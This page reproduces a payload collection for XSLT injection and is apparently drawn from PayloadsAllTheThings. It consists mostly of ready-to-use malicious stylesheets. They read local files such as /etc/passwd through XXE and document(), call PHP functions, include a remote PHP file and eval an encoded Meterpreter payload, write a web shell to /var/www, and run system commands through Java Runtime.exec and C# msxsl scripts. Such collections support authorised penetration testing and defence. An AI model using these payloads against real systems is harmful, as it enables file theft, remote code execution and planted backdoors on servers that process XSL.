XSLT Injection
SourceOn the Atlas> Processing an un-validated XSL stylesheet can allow an attacker to change the structure and contents of the resultant XML, include arbitrary files from the file system, or execute arbitrary code
Payloads · Command and Code Injection
For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.
From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky. The repository.
8 of 8 passages
> Processing an un-validated XSL stylesheet can allow an attacker to change the structure and contents of the resultant XML, include arbitrary files from the file system, or execute arbitrary code
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
<xsl:value-of select="system-property('xsl:vendor')"/>
</xsl:template>
</xsl:stylesheet><?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body>
<br />Version: <xsl:value-of select="system-property('xsl:version')" />
<br />Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
<br />Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
</body>
</html>Don't forget to test for XXE when you encounter XSLT files.
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "C:\secretfruit.txt">]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
Fruits &ext_file;:
<!-- Loop for each fruit -->
<xsl:for-each select="fruit">
<!-- Print name: description -->
- <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
</xsl:for-each>
</xsl:template>
</xsl:stylesheet><?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
<xsl:copy-of select="document('http://172.16.132.1:25')"/>
<xsl:copy-of select="document('/etc/passwd')"/>
<xsl:copy-of select="document('file:///c:/winnt/win.ini')"/>
Fruits:
<!-- Loop for each fruit -->
<xsl:for-each select="fruit">
<!-- Print name: description -->
- <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>EXSLT, or Extensible Stylesheet Language Transformations, is a set of extensions to the XSLT (Extensible Stylesheet Language Transformations) language. EXSLT, or Extensible Stylesheet Language Transformations, is a set of extensions to the XSLT (Extensible Stylesheet Language Transformations) language.
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exploit="http://exslt.org/common"
extension-element-prefixes="exploit"
version="1.0">
<xsl:template match="/">
<exploit:document href="evil.txt" method="text">
Hello World!
</exploit:document>
</xsl:template>
</xsl:stylesheet>Execute the function `readfile`.
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body>
<xsl:value-of select="php:function('readfile','index.php')" />
</body>
</html>Execute the function `scandir`.
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of name="assert" select="php:function('scandir', '.')"/>
</xsl:template>
</xsl:stylesheet>Execute a remote php file using `assert`
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:variable name="payload">
include("http://10.10.10.10/test.php")
</xsl:variable>
<xsl:variable name="include" select="php:function('assert',$payload)"/>
</body>
</html>Execute a PHP meterpreter using PHP wrapper.
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:variable name="eval">
eval(base64_decode('Base64-encoded Meterpreter code'))
</xsl:variable>
<xsl:variable name="preg" select="php:function('preg_replace', '/.*/e', $eval, '')"/>
</xsl:template>
</xsl:stylesheet>Execute a remote php file using `file_put_contents`
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="php:function('file_put_contents','/var/www/webshell.php','<?php echo system($_GET["command"]); ?>')" />
</xsl:template>
</xsl:stylesheet> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
<xsl:template match="/">
<xsl:variable name="rtobject" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtobject,'ls')"/>
<xsl:variable name="processString" select="ob:toString($process)"/>
<xsl:value-of select="$processString"/>
</xsl:template>
</xsl:stylesheet><xml version="1.0"?>
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:java="http://saxon.sf.net/java-type">
<xsl:template match="/">
<xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'cmd.exe /C ping IP')" xmlns:Runtime="java:java.lang.Runtime"/>
</xsl:template>.
</xsl:stylesheet><xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:App="http://www.tempuri.org/App">
<msxsl:script implements-prefix="App" language="C#">
<![CDATA[
public string ToShortDateString(string date)
{
System.Diagnostics.Process.Start("cmd.exe");
return "01/01/2001";
}
]]>
</msxsl:script>
<xsl:template match="ArrayOfTest">
<TABLE>
<xsl:for-each select="Test">
<TR>
<TD>
<xsl:value-of select="App:ToShortDateString(TestDate)" />
</TD>
</TR>
</xsl:for-each>
</TABLE>
</xsl:template>
</xsl:stylesheet><?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="urn:my-scripts">
<msxsl:script language = "C#" implements-prefix = "user">
<![CDATA[
public string execute(){
System.Diagnostics.Process proc = new System.Diagnostics.Process();
proc.StartInfo.FileName= "C:\\windows\\system32\\cmd.exe";
proc.StartInfo.RedirectStandardOutput = true;
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.Arguments = "/c dir";
proc.Start();
proc.WaitForExit();
return proc.StandardOutput.ReadToEnd();
}
]]>
</msxsl:script>
<xsl:template match="/fruits">
--- BEGIN COMMAND OUTPUT ---
<xsl:value-of select="user:execute()"/>
--- END COMMAND OUTPUT ---
</xsl:template>
</xsl:stylesheet>Data as of 2026-11-14.